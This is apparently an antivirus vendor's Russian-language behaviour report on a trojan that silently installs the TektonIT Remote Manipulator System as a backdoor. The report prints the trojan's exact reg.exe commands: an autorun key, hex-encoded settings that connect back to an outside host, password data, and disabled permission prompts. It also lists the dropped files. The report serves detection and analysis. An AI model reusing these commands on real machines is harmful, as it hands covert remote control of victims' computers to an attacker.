Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run] '2' = '%APPDATA%\Microsoft\RPC\rpchost.exe'
Вредоносные функции:
Создает и запускает на исполнение:
- '%APPDATA%\Microsoft\RPC\hidec.exe' "%APPDATA%\Microsoft\RPC\setup.cmd"
Запускает на исполнение:
- '<SYSTEM32>\reg.exe' add "HKCU\Software\TektonIT\Remote Manipulator System\Server\Parameters" /v CalendarRecordSettings /t REG_BINARY /d fffe3c003f0078006d006c002000760065007200730069006f006e003d00220031002e0030002200200065006e0063006f00640069006e0067003d0022005500540046002d003100360022003f003e000d000a003c0073007200650065006e005f007200650063006f00720064005f006f007000740069006f006e002000760065007200730069006f006e003d0022003500350030003300300022003e003c006d00610069006e005f006f007000740069006f006e0073003e003c006100630074006900760065003e00660061006c00730065003c002f006100630074006900760065003e003c0069006e00740065007200760061006c005f00730068006f0074003e00360030003c002f0069006e00740065007200760061006c005f00730068006f0074003e003c00700072006f0074006500630074005f007200650063006f00720064003e00660061006c00730065003c002f00700072006f0074006500630074005f007200650063006f00720064003e003c0063006f006d007000720065007300730069006f006e005f007100750061006c006900740079003e00390030003c002f0063006f006d007000720065007300730069006f006e005f007100750061006c006900740079003e003c007300630061006c0065005f007100750061006c006900740079003e003100300030003c002f007300630061006c0065005f007100750061006c006900740079003e003c0063006f006d007000720065007300730069006f006e005f0074007900700065003e0030003c002f0063006f006d007000720065007300730069006f006e005f0074007900700065003e003c006d00610078005f00660069006c0065005f00730069007a0065003e003100300030003c002f006d00610078005f00660069006c0065005f00730069007a0065003e003c006100750074006f005f0063006c006500610072003e00660061006c00730065003c002f006100750074006f005f0063006c006500610072003e003c006100750074006f005f0063006c006500610072005f0064006100790073003e0030003c002f006100750074006f005f0063006c006500610072005f0064006100790073003e003c0075007300650064005f00660069006c0065005f006c0069006d00690074003e0074007200750065003c002f0075007300650064005f00660069006c0065005f006c0069006d00690074003e003c0061006c006c005f00660069006c00650073005f006c0069006d00690074005f006d0062003e0031003000300030003c002f0061006c006c005f00660069006c00650073005f006c0069006d00690074005f006d0062003e003c0064007200610077005f006400610074006100740069006d0065005f006f006e005f0069006d006100670065003e0074007200750065003c002f0064007200610077005f006400610074006100740069006d0065005f006f006e005f0069006d006100670065003e003c002f006d00610069006e005f006f007000740069006f006e0073003e003c007300630068006500640075006c00650073002f003e003c002f0073007200650065006e005f007200650063006f00720064005f006f007000740069006f006e003e000d000a00 /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\TektonIT\Remote Manipulator System\Server\Parameters" /v Options /t REG_BINARY /d 545046301154524f4d5365727665724f7074696f6e7300095573654e5441757468080d53656375726974794c6576656c020304506f7274031c3914456e61626c654f7665726c617943617074757265080c53686f775472617949636f6e080642696e644950060d416e7920696e74657266616365084c616e67756167650607456e676c6973681343616c6c6261636b4175746f436f6e6e656374091743616c6c6261636b436f6e6e656374496e74657276616c023c0c50617373776f72644461746106186a626a392b7730447835445a335936505044483070413d3d084869646553746f70090c497046696c7465725479706502021750726f7465637443616c6c6261636b53657474696e6773091550726f74656374496e6574496453657474696e6773090f446f4e6f7443617074757265524450090755736549507636091141736b557365725065726d697373696f6e0816557365725065726d697373696f6e496e74657276616c031027134175746f416c6c6f775065726d697373696f6e08134e656564417574686f72697479536572766572081f41736b5065726d697373696f6e4f6e6c794966557365724c6f676765644f6e0811557365496e6574436f6e6e656374696f6e0813557365437573746f6d496e6574536572766572080a496e65744964506f727402000d557365496e6574496449507636081444697361626c6552656d6f7465436f6e74726f6c081344697361626c6552656d6f746553637265656e081344697361626c6546696c655472616e73666572080f44697361626c655265646972656374080d44697361626c6554656c6e6574081444697361626c6552656d6f746545786563757465081244697361626c655461736b4d616e61676572080e44697361626c654f7665726c6179080f44697361626c6553687574646f776e081444697361626c6552656d6f746555706772616465081544697361626c655072657669657743617074757265081444697361626c654465766963654d616e61676572080b44697361626c6543686174091344697361626c6553637265656e5265636f7264081044697361626c65415643617074757265091244697361626c6553656e644d657373616765090f44697361626c655265676973747279080d44697361626c65415643686174091544697361626c6552656d6f746553657474696e6773081544697361626c6552656d6f74655072696e74696e67090a44697361626c65526470080f4e6f7469667953686f7750616e656c08144e6f746966794368616e67655472617949636f6e08104e6f7469667942616c6c6f6e48696e74080f4e6f74696679506c6179536f756e6408064c6f6755736508055369644964061034313532382e38353530353132333834084c6963656e73657306b6524d532d462d38363231383841463961393338423636303333633539413265423833333532356269593253326459586c52664477776e4932312f54554e4555307059586d35694a6c774744567847446c64434e796876485652464467355a56513568655755434441494d48566c56446d34704a77774b4142304343427743596e786762516b4143674d4643774272635878575441384d55563546446d4a78664646575251344f483170564b7849365846356544673d3d0d50726f787953657474696e67731426010000efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d3136223f3e0d0a3c70726f78795f73657474696e67732076657273696f6e3d223535303330223e3c7573655f70726f78793e66616c73653c2f7573655f70726f78793e3c70726f78795f747970653e303c2f70726f78795f747970653e3c686f73743e3c2f686f73743e3c706f72743e383038303c2f706f72743e3c6e6565645f617574683e66616c73653c2f6e6565645f617574683e3c6e746d6c5f617574683e66616c73653c2f6e746d6c5f617574683e3c757365726e616d653e3c2f757365726e616d653e3c70617373776f72643e3c2f70617373776f72643e3c646f6d61696e3e3c2f646f6d61696e3e3c2f70726f78795f73657474696e67733e0d0a0a4164646974696f6e616c060854657374313233341144697361626c65496e7465726e65744964080b536166654d6f6465536574080000 /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\TektonIT\Remote Manipulator System\Server\Parameters" /v CallbackSettings /t REG_BINARY /d fffe5b007b00310035004300350037004400370045002d0030004300380030002d0034003200320030002d0038003100380039002d004300440046004200380030003200380030004300310045007d005d000d000a0069006e007400650072006e0061006c005f0063006f006e006e0065006300740069006f006e005f00690064003d002d002d000d000a0068006f00730074003d0072007300760063002e006e007300300031002e00620069007a000d000a0070006f00720074003d003400340033000d000a0074006500780074005f006d006500730073006100670065003d00220048006500790020007400680065007200650021002000490027006d002000350035007500340034003300210022000d000a006100750074006f005f0063006f006e006e006500630074003d0031000d000a007300740061007400750073003d0032000d000a0064006900730070006c00610079005f006e0061006d0065003d0048006f006d0065000d000a0064006900730061006c006c006f0077005f0074007200610079005f0063006f006e006e006500630074003d0031000d000a0061007000700065006e0064005f0063006f006d00700075007400650072005f006e0061006d0065003d0031000d000a000d000a00 /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\TektonIT\Remote Manipulator System\Server\Parameters" /v Password /t REG_BINARY /d 42003200300044004400350036004500350031004200360044003100300039003600320032003600310030003400300034004300320034004400350035003400460031004400370041003400370043003400380031003500450037003800320043004600380044003600380045003700340035003800350041003300330031004400350038003500340039003500450038004400370044004300370033004500460032003800450036003800390042004400340031003800310030003700430031003400410034004400340041003600440041004200430044003500370030003300430036003900380039004100380046004400390044003900440046003800 /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v 2 /t REG_SZ /d "%APPDATA%\Microsoft\RPC\rpchost.exe" /f
- '<SYSTEM32>\cmd.exe' /c ""%APPDATA%\Microsoft\RPC\setup.cmd""
- '<SYSTEM32>\reg.exe' add "HKCU\Software\TektonIT\Remote Manipulator System\Server\Parameters" /v FUSClientPath /t REG_SZ /d "%APPDATA%\Microsoft\RPC\logsvcprov.exe" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\TektonIT\Remote Manipulator System\Server\Parameters" /v InternetId /t REG_BINARY /d fffe3c003f0078006d006c002000760065007200730069006f006e003d00220031002e0030002200200065006e0063006f00640069006e0067003d0022005500540046002d003100360022003f003e000d000a003c0072006d0073005f0069006e007400650072006e00650074005f00690064005f00730065007400740069006e00670073002000760065007200730069006f006e003d0022003500350030003300300022003e003c0069006e007400650072006e00650074005f00690064003e003500370033002d003100300038002d003800360033003c002f0069006e007400650072006e00650074005f00690064003e003c007500730065005f0069006e00650074005f0063006f006e006e0065006300740069006f006e003e00660061006c00730065003c002f007500730065005f0069006e00650074005f0063006f006e006e0065006300740069006f006e003e003c0069006e00650074005f007300650072007600650072003e006d006900630072006f0073006f00660074002e0063006f006d003c002f0069006e00650074005f007300650072007600650072003e003c007500730065005f0063007500730074006f006d005f0069006e00650074005f007300650072007600650072003e0074007200750065003c002f007500730065005f0063007500730074006f006d005f0069006e00650074005f007300650072007600650072003e003c0069006e00650074005f00690064005f0070006f00720074003e0031003400350035003c002f0069006e00650074005f00690064005f0070006f00720074003e003c007500730065005f0069006e00650074005f00690064005f0069007000760036003e00660061006c00730065003c002f007500730065005f0069006e00650074005f00690064005f0069007000760036003e003c002f0072006d0073005f0069006e007400650072006e00650074005f00690064005f00730065007400740069006e00670073003e000d000a00 /f
Изменения в файловой системе:
Создает следующие файлы:
- %APPDATA%\Microsoft\RPC\RWLN.dll
- %APPDATA%\Microsoft\RPC\RIPCServer.dll
- %APPDATA%\Microsoft\RPC\msvcr90.dll
- %APPDATA%\Microsoft\RPC\vp8decoder.dll
- %APPDATA%\Microsoft\RPC\logsvcprov.exe
- %APPDATA%\Microsoft\RPC\rpchost.exe
- %APPDATA%\Microsoft\RPC\vp8encoder.dll
- %APPDATA%\Microsoft\RPC\msvcp90.dll
- %APPDATA%\Microsoft\RPC\dsfVorbisDecoder.dll
- %APPDATA%\Microsoft\RPC\setup.cmd
- %APPDATA%\Microsoft\RPC\hidec.exe
- %APPDATA%\Microsoft\RPC\dsfVorbisEncoder.dll
- %APPDATA%\Microsoft\RPC\Microsoft.VC90.CRT.manifest
- %APPDATA%\Microsoft\RPC\gdiplus.dll
- %APPDATA%\Microsoft\RPC\English.lg
Другое:
Ищет следующие окна:
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
- ClassName: 'EDIT' WindowName: '(null)'
